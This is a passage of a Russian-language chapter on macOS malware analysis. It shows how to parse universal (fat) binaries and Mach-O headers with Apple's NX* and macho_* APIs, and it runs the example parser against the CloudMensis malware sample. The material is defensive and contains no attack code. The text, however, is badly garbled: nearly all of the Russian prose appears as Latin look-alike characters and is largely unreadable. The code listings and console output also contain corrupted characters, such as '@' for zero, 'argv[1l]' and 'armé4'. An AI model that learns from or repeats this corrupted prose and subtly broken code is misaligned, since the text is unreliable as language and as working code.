SDK mach-o/fat.h:

struct fat_header {

uint32_t magic; /* FAT_MAGIC or FAT_MAGIC_64 */
uint32_t nfat_arch; /* number of structs that follow */

¥
KommeHTapun Apple B 3ToM 3aronoBoYHoM hanrne ykasbiBaloT, YTO magic, NepBbIi YneH CTPYKTYPbI
fat_header - 6e33HakoBoe 32-O0MTHOE Lienoe, - byaeT cogep)kaTb KOHCTAHTY FAT _MAGIC nnm
FAT_MAGIC_64. Vicnonb3oBaHne FAT_MAGIC_64 03Ha4yaeT, YToO creayowmne CTPYKTypbl UMEKT T1NM
fat_arch_64, npumeHsemblin, korga cnegyrowmin slice unu cmelteHune K Hemy bonblue 4 M. (]
KommeHTapum B 3aronoBoYHbIX hamnax Apple fat.h oTmevaloT, 4To noagep’kka aToro pacLuMpeHHoro
dopmata HaxoauTcsa B cTagum pa3paboTkn, a yHuBepcarnbHble ABOUYHbIE halnbl pefKo, ecnv BoooLle
korga-nvubo, 6biBalOT HACTOMNBKO OFPOMHBLIMU, MO3TOMY B 3TOM rMaBe Mbl COCPEAOTOYMMCS Ha
TpaguumMoHHOM CTpykType fat_arch.

B koMmeHTapusix kK cTpykType fat_header He ynomMsaHyTO, YTO 3HA4YeHUS B CTPYKType npegnonaraiTcs
big-endian - Hacneane sBpemeH OSX PPC. lNoatomy Ha little-endian-cucremax, Takmx kak Intel u Apple
Silicon, npu YTeHWM yHUBEpPCanLHOro ABOUYHOrO havna B NnaMaTb 3Ha4YeHus Bpoge 4 6antos ons magic
OyayT BbIrMsiAeTb B 0OpaTHOM nopsigke 6anToB.

Apple yunTbiBaeT 3TOT (haKT, NpeaocTaBnss «nepecTaBneHHY» Marmyeckyto KOHCTaHTy FAT_CIGAM. [da,
CIGAM - aTo NpocTo magic 3agom Hanepea. LecTtHaguaTtepuyHoe 3Ha4YeHne aTON KOHCTaHThI -
exbebafeca. P! Mbi moxem yBMAeTb 9TO 3HadYeHue, ncnonbdys xxd Ana gamna 6antos B Havane
yHMBepcanbHoro asonyHoro ¢ganna CloudMensis. Ha little-endian-xocte mbl ncnonb3dyem gnar -e, 4Tobbl
0TOOpa3nTb LWeCTHaaUaTepuyHble 3Ha4eHus Kak little-endian:

% xxd -e -c 4 -g @ CloudMensis/WindowServer
00000000: bebafeca ...

BbiBOA, MHTEpPNpEeTUPOBaHHbLIN Kak 4-6anToBoe 3HaYeHue, ByaeT nmeTb NOpsSAok 6anToB XOCTa; 31O
obbACHAET, NoYeMy Mbl BUAMM NepecTaBfeHHoe YHuBepcanbHoe magic-3HaveHne FAT_CIGAM
(exbebafeca).

Mocne nonda magic B cTpykType fat_header HaxoouTca none nfat_arch, ykasbiBatolee KONMYecTBo
cTpykTyp fat_arch. Mbl Havigem no ogHonm cTpykType fat_arch ang kaxgoro
apxuTekTypHo-crneumdguyHoro Mach-O-darina, BCTPOEHHOIro B yHUBEpPCAnbHbIN ABOUYHbIA dhanr. Kak
nokasaHo Ha puc. 2-1, aTn CTPYKTypbl CNEAYOT HenocpeacTBeHHO 3a fat header.
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Fat header
(magic, nfat arch)

fat_arch #1

fat _arch #2

Mach-O #1 N

Mach-O #2 -
o Y,

PucyHok 2-1: KomnoHoOBKa yHMBepCarbHOro 4BOMYHOro danna

Mockonbky file nokasan, yto CloudMensis cogepxut aBa BcTpoeHHbix Mach-O, Mbl oxxMgaem yBuaeThb,
yto nfat_arch yctaHoBneH B 2. [NoaTBepamM, YTO 3TO Tak, CHoBa Mcnornb3yst xxd. Ho Ha aToT pas
nponyctum dpnar -e, 4T0bbl COXpPaHMTb 3HaYeHMs B big endian:

% xxd -c 4 -g @ CloudMensis/WindowServer
00000004 : 00000002 ...

OnpepeneHune cTpykTypbl fat_arch MoXxHO HaliTK B 3aronoBo4HOM cdarne fat.h:

struct fat_arch {
cpu_type_t cputype; /* cpu specifier (int) */
cpu_subtype_t cpusubtype; /* machine specifier (int) */
uint32_t offset; /* file offset to this object file */
uint32_t size; /* size of this object file */
uint32_t align; /* alignment as a power of 2 */

s

lMepBble ABa YneHa cTpykTypbl fat_arch 3agatoT Tun u noatun CPU agBouyHoro davna Mach-0, a
cnegyowmne ABa 3afaloT CMeLLEeHne U pasmep 3T1oro slice.
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Pa36op

[asante nporpammHo pa3bepemM yHuBepcanbHbIN ABOUYHbLIV (dani 1 HangeM KaKabli BCTPOEHHbIN
OBonYHbIM hann Mach-O. Mbl nokaxkem gga cnocoba caenaTb 3T0: ¢ ncnonb3oBaHnem 6onee crapbix API
NX*, coBMeCTMMbIX CO cTapbiMu Bepcusmmn macOS, n 6onee HoBbix APl Macho*, poctynHbix B macOS 13
N HoBee.

MpumeyaHue. Koa, ynoMsaHyTbIN B 3TOW rnaBe, HAXOAUTCH B NPOEKTe parseBinary B
GitHub-penoauTtopun kHurn no agpecy https://github.com/Objective-see/TAOMM.

API NX*

HauHem c npoBepku, AeNcTBUTENBHO N dann ABnseTcs yHMBepcanbHbIM ABOWYHBIM hanrioM. 3atem Mbl
nepebepem Bce CTpyKTypbl fat_arch, HaneyaTaem nx saHavyeHusa n ncnonbdyem API NXFindBestFatArch,
4YTOOblI HANTN BCTPOEHHbIV ABOWYHbLIN dhans, Hanbonee COBMECTUMLIN C apXMUTEKTYpon xocTa. Cuctema
3arpy3uT U BbIMOMHUT 3TOT ABOWYHBIN bain Npu 3anycke yHMBepcanbHOro ABONYHOro haina, nosTomy
WMEHHO Ha HEM Mbl COCPeaOTOYMMCS B aHanmsae.

Bawu cobCTBEHHBIN KOO MOXET BMECTO 3TOr0 3aX0TETb UCCNEAOBaTb KaXAbli BCTPOEHHbIN OBOUYHbIN
dann Mach-O, 0co6eHHO MOTOMY, YTO HUYTO HE MeLLaeT pa3paboTunky caenartb 3TU ABOUYHbIE halnbl
COBEpPLUEHHO pa3HbiMU. XOTsi Bbl peako obHapyxuTe, 4TO 3TO TaK, ataka Ha Leno4vky noctaBok 3CX B
2023 roay paeT 04HO 3aMeTHOoe UCKIoYeHne. YTobbl TposiHuanposats npunoxexHue 3CX, atakyowme
NoAMEHUN NEMMTUMHBIN YHUBEpPCarbHbIN OBOMYHbLIN hais, cogepxawwmi u Intel-, 1 ARM-gBoudHble
dhavinel, fo6aBUB BPELOHOCHBIN KOA B NEPBLIA 1 ocTaBuB ARM-4BOVYHBIN hain HETPOHYTEIM.

HauHewm c 3arpysku chaiina v BbINOMHEHNS HEKOTOPbIX HaYarbHbIX MPOBEPOK (NMUCTUHT 2-1).

#import <mach-o/fat.h>

#import <mach-o/arch.h>

#import <mach-o/swap.h>

#import <mach-o/loader.h>

int main(int argc, const char* argv[]) {
NSData* data = [NSData dataWithContentsOfFile:[NSString stringWithUTF8String:argv[1]]];
struct fat_header* fatHeader = (struct fat_header*)data.bytes;

if( (FAT_MAGIC == fatHeader->magic) ||
(FAT_CIGAM == fatHeader->magic) ) {

printf("\nBinary is universal (fat)\n");

struct fat_arch* bestArch = parseFat(argv[1l], fatHeader);

}
JlnctnHr 2-1:; 3arpy3ska, npoBepka u NOUCK «ny4wero» slice yHmBepcanbHoOro 4BoMYHoOro darna

Mocne yTeHusa cogepXxMmoro danna B NaMsiTb U NMpUBEAEHNS] HAaYanbHbIX 6anToB K struct fat_header
* Ko npoBepsieT, AeNCTBUTENbHO NN 3TO YHMBEpPCarbHbI ABOUYHBIN dain. ObpaTuTe BHMMaHWe, YTO OH
npoBepsieT kak big-endian (FAT_MAGIC), Tak u little-endian (FAT_CIGAM) Bepcun magic-3Ha4yeHus.

[na npocToTel aTOT KOA He noaaepxueaeT popmar large fat file. bonee Toro, B Npon3BOACTBEHHOM KoAe
cnenyert BbINOMHATL M ApYrMe NPOBEPKU 34paBOro CMbicna, Hanpumep ybéeantecs, 4to dann ycnewHo
3arpy>XeH 1 4YTo oH bornbLue pa3mepa cTpykTypbl fat_header.
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Jlornka pasbopa HaxoaMTcsl BO BCMOMOraTenbHOM PyHKLUMM C MUMEHEM parseFat, BbI30B KOTOPOM Bbl
BuauTe B nuctuHre 2-1. Hanevartas fat header, ata dyHkuma nepebepeT kaxayto CTPyKTypy fat_arch u
BepHeT Hanbonee coBmecTumblin Mach-O slice.

OpHako cHavana Hy>Ho pa3obpaTbcs ¢ NobbiMK pa3nuunsaMmn nopsaka 6anTtos. 3HayYeHUst B CTPYKTypax
fat_header u fat_arch Bcerga nmetot nopsaok big-endian, noatomy Ha little-endian-cuctemax, Takmx
kak Intel n Apple Silicon, mbl gomkHbI NepecTaBUTb UX. [Nst 3TOro cHavana Bbi3biBaeM AP
NXGetLocalArchInfo, 4Tobbl onpeaenuTs 6a30BbIM NOPSOOK BanToB XocTa (IUCTUHT 2-2).
BosBpalueHHoe 3HayeHne, ykasaTenb Ha CTPYyKTypy NXArchInfo, mbl 6yaem ncnonb3oBaTb AN
nepecTaHoBKM nopsaka 6anTos, a Takke No3xe Ansa onpegenexHvs Hambonee coemectumoro Mach-O.

struct fat_arch* parseFat(const char* file, NSData* data) {
const NXArchInfo* localArch = NXGetLocalArchInfo();
Jlnctuhr 2-2: OnpegeneHne apxmMTeKTypbl fIOKanbHON MaLUHBI

Bbl moxeTe 3ameTuTb, UTO APl NXGetLocalArchInfo un swap_* nomeyeHbl kak deprecated, xots Ha
MOMEHT NyOnmKauum oHN BCe eLle OOCTYMHbI U NOMHOCTBI dyHKUMOHanbHbl. B macOS 13 n HoBee
MOXHO Mcnonb3oBaThb 3ameHsiiowme APl macho_*, Haxogsawmecs B mach-o/utils. h, u Bbl y3HaeTe 06
3ToM B cnepytowem pasgene. OgHako o macOS 15 oguH 13 atnx HoBbiX AP| Gbin HencnpaseH, NO3TOMY,
BO3MOXHO, Bbl BCe €LLe 3axoTuTe npuaepxmnsatsca ctapbix API.

[anee BbINOMNHsaemM nepectaHoBKY C MOMOLLbIO byHKUMA swap_fat_header u swap_fat_arch (nuctmur
2-3).
struct fat_header* header = (struct fat_header*)data.bytes;
if(FAT_CIGAM == header->magic) {
swap_fat_header(header, localArch->byteorder);

swap_fat_arch((struct fat_arch*)((unsigned char*)header + sizeof(struct fat_header)),
header->nfat_arch, localArch->byteorder);

}

printf("Fat header\n");

printf("fat_magic %#x\n", header->magic);

printf("nfat_arch %d\n", header->nfat_arch);
Jlnctunr 2-3: MNepectaHoBka fat header u cTpykTyp fat architecture B cootBeTcTBMUM C Nopsigkom 6anTos
xocTa

Kop cHavyana nposepsieT, HyXXHa N nepectaHoBka. HanomHio: ecnu magic-koHctaHTa fat header pasHa
FAT_CIGAM, koA BblnonHaeTcs Ha little-endian-xocTte, NOSTOMY HY>XHO BbINOSTHUTL NEPECTaHOBKY.
BbisbiBasi BcnomoratenbHble APl swap_fat_header n swap_fat_arch, kog npeobpa3syeT 3aronoBokK u
BCe 3HayeHuna fat_arch Tak, 4Tobbl OHM COOTBETCTBOBANM NOPAAKY 6aNTOB XOCTa, BO3BPaLLEHHOMY
NXGetLocalArchInfo. lNMocneaHunin APl npuHMmaeT KonmyecTBo CTpYKTyp fat_arch, KOTOpble HYXHO
nepecTtaBuTb; KOA NpedocTaBnseT ero Yyepes none nfat_arch yxe nepecraBneHHoro fat header.

Korga 3aronoBok 1 Bce CTpykTypbl fat_arch cooTBeTCTBYIOT NOpsAAKY 6anToB XocTa, Ko MOXeT
Hane4ataTb CBEOEHUS O KaXKAOM BCTPOEHHOM ABondHOM danne Mach-O, koTopbii onucbiBatoT
CTPYKTYpbl fat_arch (MucTuHr 2-4).

struct fat_arch* arch = (struct fat_arch*)((unsigned char*)header + sizeof(struct fat_header));
for(uint32_t i = @; i < header->nfat_arch; i++) {
printf("architecture %d\n", i);

printFatArch(&arch[i]);
}

void printFatArch(struct fat_arch* arch) {
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int32_t cpusubtype = 0;
cpusubtype = arch->cpusubtype & ~CPU_SUBTYPE_MASK;

printf(" cputype %u (%#x)\n", arch->cputype, arch->cputype);
printf(" cpusubtype %u (%#x)\n", cpusubtype, cpusubtype);
printf(" capabilities Ox%#x\n", (arch->cpusubtype & CPU_SUBTYPE_MASK) >> 24);
printf(" offset %u (%#x)\n", arch->offset, arch->offset);
printf(" size %u (%#x)\n", arch->size, arch->size);
printf(" align 2~%u (%d)\n", arch->align, (int)pow(2, arch->align));
}

JInctuHr 2-4: MNevatb Kaxxgonm CTpykTypbl fat_arch

Kop HaunHaeT ¢ nHuumanusauum ykasatensi Ha nepByto CTpykTypy fat_arch, kotopasa nget
HenocpeAcTBeHHO nocrne fat_header. 3atem oH NepebupaeT Kaxayo U3 HUX, OrPaHNYMBasICb YIIEHOM
nfat_arch cTpyktypbl fat_header. UTobbl HanevaTaTb 3Ha4YEHMs U3 KaXaQowm CTPYKTypbl fat_arch, ko
BbI3bIBAET BCMOMOraTernbHy (OYHKLMIO, KOTOPYIO Mbl Ha3Banu printFatArch; oHa cHavana pasgenseT
noatun CPU u ero capabilities, nockonbky oba HaxogsaTcst B uneHe cpusubtype. Apple npegoctaBnser
KOHCTaHTy CPU_SUBTYPE_MASK, 4TOObI U3BMNeYb TOMNbKO GUTLI, ONUCbIBatoLLme NnoaTun.

3anyctum atot kog ansa CloudMensis. OH BbIBOAUT cnegytoLiee:

% ./parseBinary CloudMensis/WindowServer
Binary is universal (fat)
Fat header

fat_magic @xcafebabe
nfat_arch 2

architecture ©

cputype 16777223 (0©x1000007)
cpusubtype 3 (0x3)
capabilities ox0

offset 16384 (0©x4000)

size 708560 (@xacfdo)

align 2714 (16384)
architecture 1

cputype 16777228 (0x100000c)
cpusubtype 0 (0)
capabilities 0x0

offset 737280 (0xb4000)

size 688176 (0xa8030)

align 2714 (16384)

/3 BbIBOAa BUOHO ABa BCTPOEHHbIX ABONYHbIX (hanna Mach-O BpegoHocHoW nporpammbl:

* Mo cmeLweHunio 16384 HaxoaMTCca ABOUYHbLIV dhawin, cCoBMeCTUMbIN ¢ CPU_TYPE_X86_64 (0x1000007),
anuHon 708 560 6anTtos.

* Mo cmewweHno 737280 HaxoauTCa OBOWNYHbIN baln, COBMeCTUMbIA ¢ CPU_TYPE_ARM64 (0x100000c),
AnnHon 688 176 6anTtos.

UTtoO6bl NOATBEPAMTL TOYHOCTb 3TOrO KOA4A, MOXHO CPaBHUTL 3TOT BbIBOA C koMaHaon macOS otool,
donar -f koTopon pasdbupaeT u otobpaxaet fat headers:

% otool -f CloudMensis/WindowServer
Fat headers
fat_magic @xcafebabe
nfat_arch 2
architecture 0
cputype 16777223
cpusubtype 3
capabilities 0x0
offset 16384

size 708560

align 2714 (16384)
architecture 1
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cputype 16777228
cpusubtype ©
capabilities 0x0
offset 737280

size 688176

align 2714 (16384)

B BbIBOAE MHCTPYMEHTa Mbl BUAWMM TY Xe UH(OPMaLMIo O ABYX BCTPOEHHbIX BOMYHbIX (hannax
BPEOOHOCHOWN Mporpammbl.

[anee pobaBnm kog ANga onpenerneHunsl, Kakom 3 BCTPOEHHbIX ABOUYHLIX doannoB Mach-O cooTBeTcTBYET
HaTMBHOWN apXUTEKType xocTa. HanomHio, 4to mbl yxe BbidaBanu APl NXGetLocalArchInfo, 4ToObl
nony4YnTb apXMTEKTYpPY XOocTa. bonee Toro, Mbl Takke nNokasarnu, Kak BbIYMCINTE CMELLEHNE K NepPBOM
CTpyKType fat_arch, koTopas ngeT HenocpeacTBeHHo nocrie fat header. Ytobbl HaliTK HAaTUBHO
coBMmecTMbI Mach-O, Tenepb MOXHO Bbi3aBaTb APl NXFindBestFatArch (nuctuHr 2-5).

bestArchitecture = NXFindBestFatArch(localArch->cputype, localArch->
cpusubtype, arch, header->nfat_arch);

JlnctnHr 2-5: OnpeaeneHne nyyllen apxuTeKTYpbl YHUBEpPCarbHOro ABOUYHOro danna

Mol nepegaem APl apxuTtekTypy XocTa, ykasaTesib Ha Hadarno CTpykTyp fat_arch 1 KonM4yecTBO 3TUX
cTpykTyp. 3atem APl NXFindBestFatArch onpegenut asonyHslin parn Mach-O BHyTpu yHUBEpCansHoro
OBOMYHOro hanna, Hanbonee COBMECTMMBIN C HATUBHOM apXUTEKTYPO XocTa. HanoMHIo, 4To
BCnoMoraTtenbHas pyHKumns parseFat Bo3BpallaeT 9TO 3HAa4YEHUE 1 NeyaTaeT ero.

Ecnn po6aBunTb 3TOT KOA B parser 4BOUYHbIX (hansioB 1 CHoBa 3anyctuTb ero anst CloudMensis, oH
BbIBEAET criegyloLlee:

% ./parseBinary CloudMensis/WindowServer

best architecture match
cputype 16777228 (0x100000c)
cpusubtype 0 (0)
capabilities 0x0

offset 737280 (0xb4000)

size 688176 (0xa8030)

align 2714 (16384)

Ha cucteme Apple Silicon (ARM64) koA npaBuIibHO onpegenun, 4To BTOPON BCTPOEHHbIN ABOUYHbIN dhann
Mach-O ¢ Tunom CPU 16777228/0x100000c (CPU_TYPE_ARM64) siBnsieTcsi Hanbornee COBMECTUMbIM
Mach-O B yHuBepcansHom aBondHoM danrne CloudMensis. [Npu 3anycke 3Toro yHMBepcansHoro
OBOMYHOrO hbarna MoXHO ncnone3doBatb ctonbey, Kind B Activity Monitor, ytobbl noaTBepanTb, 4YTO
macOS gencTBuTENbHO Bbibpana u 3anyctuna Mach-O ans Apple Silicon (puc. 2-2).
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. o Actl mty MO nitor

Il P
Process Mame

WindowServer user

WindowServer _windowserver

System: . : Threads:

User: Processes:

Idle:

PucyHok 2-2: [1BonyHbin pain CloudMensis WindowServer, paboTalowun Kak HaTUBHbIV ABOWYHBIN anin
Apple Silicon

Euwe oaunH cnocob noareepamntb, 4To CloudMensis paboTaeT Kak HaTUBHbIN ABOWYHbLIA doann Apple
Silicon, - ucnonb3oBaTb NPOEKT enumerateProcesses, NpeAcTaBneHHbIN B rnase 1. HanoMHio, 4To OH
N3BJIEKAET apXUTEKTYPY KaXXaoro 3anyLeHHoro npouecca:

% ./enumerateProcesses
(1990):/Library/WebServer/share/httpd/manual/WindowServer
architecture: Apple Silicon

Mbl nony4aem ToOT e pe3ynbTar.

APl Macho*

B macOS 13 Apple npeactasuna APl macho_*. O1u API, Haxogswmecsa B mach-o/utils. h, npeanaratoT
YMNpPOLLEHHbI cnocob nepebupaTb ABon4dHble dannbl Mach-O B yHMBepcanbHOM ABOMYHOM dhawine u
BblOMpaTb Hanbonee coBMecTuMbli. Deprecated APl NX* Bce elle paboTatoT Ans 3TON Lenu, Ho ecnu Bbl
paspabaTtbiBaeTe MHCTPYMeEHTbI B macOS 13 unu HoBee, pa3yMHO BMECTO HUX UCMONb30BaTb HOBbIE

dyHKLMN,
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API macho_for_each_slice no3sonsieT nssnekats Mach-O-cannbl yHMBeEpCanbLHOro ABOUYHOIO doavna
6e3 HeoH6Xo4MMOCTN BPYYHYHO pa3bupaTtb YHMBEPCANbHbIN 3arofloBOK UM UMETbL AENO C HIaHCaMK
nopsigka 6anTtoB. Mbl Bbi3biBaeM 3Ty hyHKLMIO C nyTem K charnny u callback-6nokom, KOTOpbIA AOIMKEH
BbINOMHMTLCS AN kaxxgoro Mach-O slice. Ecnin BbiaBaTh ee anst camoctositensHoro Mach-O, dyHkuma
BbINOMHMT callback Tonbko oanH pas; ecnu ann He SBNSETCA KOPPEKTHO CHOPMUPOBAHHBIM
YHUBEpPCarnbHbIM OBONYHbIM dannom unu Mach-O, pyHKUMST KOPPEKTHO 3aBEPLUNTCA HeEyAa4ven, To ecTb
HaM He HY>XHO BPYYHYIO NPOBepsAThL TUN danna. 3aronoBoyHbl pann mach-o/utils. h Bknovaet
BO3MOXHbIE€ BO3BpaLlaemMble 3Ha4YEHNSI U X CMbICTT:

ENOENT - path does not exist

EACCES - path exists but caller does not have permission to access it

EFTYPE - path exists but it is not a Mach-o or fat file
EBADMACHO - path is a Mach-o file, but it is malformed

Callback-6nok, Bbi3biBaeMbIn Ans kaxgoro sBcrpoeHHoro Mach-O, nveet cnegytowmi tun:

void ("~ _Nullable callback)(const struct mach_header* _Nonnull slice,
uint64_t offset, size_t size, bool* _Nonnull stop)

Ha nepBbin B3rNga aTOT TUM MOXET BbIMMSA4eTb HEMHOMO 3anyTaHHbIM, HO €CNU COCPEeAOTOUUTBLCS TOSbKO
Ha napameTpax, BugHo, 4to callback 6ygeT Bbi3aBaH ¢ pa3Houn nHdopmauuen o slice, Bkntoyasa ykasaTernb
Ha cTpykTypy mach_header, cmelleHue slice n ero pasmep.

Koa B nUCTuHre 2-6, AaBnsIOWMIACA YacTblo BCoMoraTesnibHOM (PyHKUUKM parseFat, Bbl3biBaeT
macho_for_each_slice, 4Tobbl HanevyaTaTb MHGPOPMALIMIO O Kaxxgom BCTpoeHHOM Mach-O. OH Takke
BkrtovaeT 6asoByto 06paboTKy OLIMBOK, KOTOPYIO MOXHO UCMNOMb30BaTh 4518 OTCemBaHUsA annos, He
SBMSAIOLLNXCA HX YHUBepcanbHbiMKU, HM Mach-O.

struct fat_arch* parseFat(const char* file, struct fat_header* header) {

if(@available(macOS 13.0, *)) {
__block int count = 0;

int result = macho_for_each_slice(file,
~A(const struct mach_header* slice, uint64_t offset, size_t size, bool* stop) {

printf("architecture %d\n", count++);

printf("offset %1llu (%#1lx)\n", offset, offset);

printf("size %zu (%#zx)\n", size, size);

printf("name %s\n\n", macho_arch_name_for_mach_header(slice));

1
if(e != result) {
printf("ERROR: macho_for_each_slice failed\n");
switch(result) {
case EFTYPE:
printf("EFTYPE: path exists but it is not a Mach-o or fat file\n\n");
break;
case EBADMACHO:

printf("EBADMACHO: path is a Mach-o file, but it is malformed\n\n");
break;
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JlnctnHr 2-6: Mepebop Bcex BCTpoeHHbIx Mach-O

OTOT Kof BbI3biBaeT oyHKUMIO macho_for_each_slice. B callback-6rnoke mbl neyataem
nepemMeHHy-cHeTUMK, a 3aTeM CMmeLLeHne 1 pasmep slice. Mbl Takke ncnonb3yem yHKUMIO
macho_arch_name_for_mach_header, 4ToGbl Hane4ataTb NMSA apXUTEKTYPbI Kaxkaoro slice.

Ecnu ykasaHHbIM nonb3oBaTenem dpann He BRAseTCa KOPPEKTHO CHOPMUPOBAHHBIM YHMBEPCANbHbIM UK
Mach-O-aBounyHbiM dannom, dyHKUMsA 3aBepuntcs Heyaaden. Kog obpabartbiBaeT 3710, nevaTasi obuiee
coobueHue 06 owmbke, a Takke AONONHUTENBHYIO MHAOPMALMIO AMS pacnpOCTPaHEHHbIX OLLNBOK.

Ecnun no6aButb 3TOT KOA B MPOEKT parseBinary un 3atem 3anycTuTb €ro AN yHMBepcanbHOro 4BOUYHOIO
davina CloudMensis, OH AOMKeH HanevaTaTb Te Xe 3Ha4YeHMs CMEeLLIEHUS 1 pa3Mmepa Ans AByX
BCTPOeHHbIX Mach-O BpeaoHOCHOM Nporpammbl, YTO M KoA, UCnonb3oBaBLUnin AP NX*:

% ./parseBinary CloudMensis/WindowServer

architecture 0

offset 16384 (0x4000)
size 708560 (©xacfdo)
name x86_64
architecture 1

offset 737280 (0xb4000)
size 688176 (0xa8030)
name armé4

Tenepb 4YTO HacHeT noucka Hanbonee coBMeCTUMOTrO slice, TO eCTb TOro, KOTOPbIA XOCT 3arpy3un 6ol 1
3anycTun, ecnv 6ol yHMBepcanbHbIi 4BOWMYHBIN hann 6bin BelNONHEH? OyHKUMA macho_best_slice
npegHasHayeHa nMeHHo ans atoro. OHa NpuHUMaeT NyTb K nccnegyemomy caniny u callback-6nok,
BbI3bIBaeMbIN ¢ ny4dwnm slice. [lobaBbTe yHKUMIO U3 NNCTUHra 2-7 K NpeabiayLiemMy kogy.

result = macho_best_slice(argv[1],
~(const struct mach_header* _Nonnull slice, uint64_t offset, size_t sliceSize) {

printf("best architecture\n");

printf("offset %1lu (%#1lx)\n", offset, offset);

printf("size %zu (%#zx)\n", sliceSize, sliceSize);
printf(“name %s\n\n", macho_arch_name_for_mach_header(slice));

3

if(@ != result) {
printf("ERROR: macho_best_slice failed with %d\n", result);
}

JInctuHr 2-7: Bei3oB macho_best_slice gnsa noucka nyywero slice

OpHako ecnu 3anyctuTb 310 ANnsa CloudMensis Ha Bepcun macOS go 15, BbI30B 3aBepLUNTCA Heyaaven co
3HayeHnem 86:

% ./parseBinary CloudMensis/WindowServer
ERROR: macho_best_slice failed with 86

CornacHo 3aronoBo4HoMy gaviny mach-o/utils.h, 370 3Ha4eHne oWMOKM cooTBETCTBYET EBADARCH, 4TO
O3HayaeT, YTO HY OOUH U3 slices He MOXET 3arpy3unTbcs. TO CTPaHHO, YYNTbIBas, YTO PYHKUMSA
NXFindBestFatArch onpegenuna BcTpoeHHbin Mach-O-dann ARM64 kak COBMECTUMbIN C MOEMN
aHanuTu4eckon mawmHon Apple Silicon. Bonee Toro, atotT Mach-O ARM64 TOYHO 3anycKaeTcsl, Kak Bbl
BMaenu Ha puc. 2-2. OkasbiBaeTcs, Kak 4acTo beiBaeT ¢ HoBbiMu API oT Apple, dyHKUmMSA
macho_best_slice 6bina cnomaHa o macOS 15. B 6onee crapbix Bepcusix macOS ans noboro
CTOPOHHEro yHMBepcanbHoro ABonYHoro carna Ha cuctemax Apple Silicon dyHkUmMsa Bo3BpallaeT
EBADARCH.

ObpaTtHas paspaboTka, a Takke usydyeHune koga dyld B1 gLissunm NPUYMHY OLUMBKK: BMECTO TOro YTOObI
nepegatb yHKUMM Bbibopa slice cnucok coBmectuMbix TunoB CPU, Takux kak armé4 unun x86_64, Koa
HenpaBuIbHO Nepegasan Tonbko Tun CPU, Anst KOToporo Gbia ckoMnNunMpoBaHa onepauroHHas
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cuctema. Ha Apple Silicon atoT Tun CPU - armé4e (CPU_SUBTYPE_ARM64E), ucnosnb3yembli
ucknountensHo Apple. 3To 0bbsAcHseT, novyemMy noruka Belbopa HUKkorga He Bolbupana slices B
CTOPOHHMX YHMBEpPCanbHbIX ABOUYHbIX dannax, CKOMIUIMPOBAHHbIX Kak armé4 nnm x86_64, HO HUKoraa
Kak armé64e, 1 BMECTO 3TOro BosBpaLllana owmbky EBADARCH.

MopgpobHee 06 aToW oLWMOKe MOXHO NpounTaTh B Moel ctaTtbe “Apple Gets an ‘F’ for Slicing Apples.” [41

Mol aHanu3 npeanoXxun NpocToe ncnpaeneHne: BMeCTo BbidoBa MeTtoaa GradedArchs: : forCurrent0S
Apple crnegoano BbidBaTb GradedArchs: : launchCurrent0S, YToGbl NOAY4YNTL NPaBUITbHBIA CIMCOK
coBmecTuMbIX TuNoB CPU. Xopolias HOBOCTb B TOM, YTO Apple B UTore npuHsina Ty pekoMeHngaumio, a
3HaunT, macho_best_slice B macOS 15 u Bbiwe paboTaeT Kak oxugaeTcs.

Tenepsb, Koraa Bbl 3HaeTe, Kak pa3bupaTb yHMBepcarbHble ABOUYHbIE halfbl, 06paTUM BHUMaHWE Ha
OBonyHble dannbl Mach-O, BCTpOeHHbIe B HUX. 5]

3aronosku Mach-O

OBounyHble dannel Mach-O cogepxaT UCKOMYI MHGpOpMaLuio, TaKyto Kak 3aBUCMMOCTU U CUMBOITbI.
YT06bI NPOrpaMMHO M3BreYb MX, HyXXHO pa3obpatb 3aronoBok Mach-O. B yHMBepcanbHOM ABOMYHOM
chavine aTOT 3aronoBOK MOXHO HanTw, aHanuanpys fat header n cTpykTypbl architecture, kak Bbl Bugenu B
npegbiaywem pasgene. B camoctoatrensHoM Mach-O gns ogHon apxmtekTypbl HAWTU 3arosloBOK
TpUBMAnbLHO: OH PaCcMornoXeH B Havarne anna.

JluctnHr 2-8 cnepnyet 3a kogowm, onpegensowm nydinn Mach-O BHyTpuY yHMBepCanbHOro ABOUYHOrO
danna. OH noaTBepxaaeT, yTo slice gencreutensHo asnsieTcs Mach-0O, a 3atem obpabatbiBaeT cnyyau,
korga dann siensietca camoctoaTenbHbiM Mach-O.

NSData* data = [NSData dataWithContentsOfFile:[NSString stringWithUTF8String:argv[1]]];
struct mach_header_64* machoHeader = (struct mach_header_64*)data.bytes;

if( (FAT_MAGIC == fatHeader->magic) ||
(FAT_CIGAM == fatHeader->magic) ) {

// Removed the code that finds the best architecture, for brevity

machoHeader = (struct mach_header_64*)(data.bytes + bestArch->offset);
}

if( (MH_MAGIC_64 == machoHeader->magic) ||
(MH_CIGAM_64 == machoHeader->magic) ) {

printf("binary is Mach-0\n");

// Add code here to parse the Mach-0.
¥

JInctuHr 2-8: Mowuck cooTBeTCTBYOLLEro 3aronoska Mach-O

Mocne 3arpysku hanna B NnamsTb Mbl NpMBoAMM 6anTbl B Ha4ane danna kK cTpykType mach_header_64.
Ecnu gBonyHbIN hbann yHMBepcanbHbIA, Mbl HAXOAMM CTPYKTYpy fat_arch, onuceisatowwyto Hambonee
COBMECTUMbI BCTpoeHHbIn Mach-O. Vicnonb3ys uneH offset aTol CTpyKTypbl, Mbl OGHOBNSIEM YKa3aTerb
Tak, YTOObl OH yKa3blBan Ha BCTPOEHHbIV ABONYHbIN danin.
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Mpexae Yem paszdvpaTtb OBOMYHbLIN A, HY)KHO NPOBEPUTDL, YTO yKasaTenb 4eNCTBUTENBHO yKa3biBaeT
Ha Hadano Mach-O. Mbl ncnonb3dyem NpocTon Noaxoa K NpoBepKe: Uem Hanvyne magic-aHavyeHus
Mach-O. NockonbKy 3arofioBok ABOMYHOrO dhanna u apxmTeKkTypa XOCTOBOM MaLLUHbI MOTYT UMETb
pasHbIvi Nopsifok 6anToB, Ko npoBepsieT 06e KOHCTaHThl, MH_MAGIC_64 n MH_CIGAM_64, onpeferneHHble
B 3aronoBo4HoM canne Apple mach-o/loader.h:

#tdefine MH_MAGIC_64 ©Oxfeedfacf
#define MH_CIGAM_ 64 Oxcffaedfe

Paaun npocToThl KOg NponyckaeT pekoMeHAyeMble NPOBEPKM 34paBoro cMbicna u owmnbok. Hanpumep,
NPON3BOACTBEHHbIV KOA KaK MUHUMYM AOMKEH ybeanTbCs, YTo pasmep NpoYnTaHHbIx 6anTos 6onblue
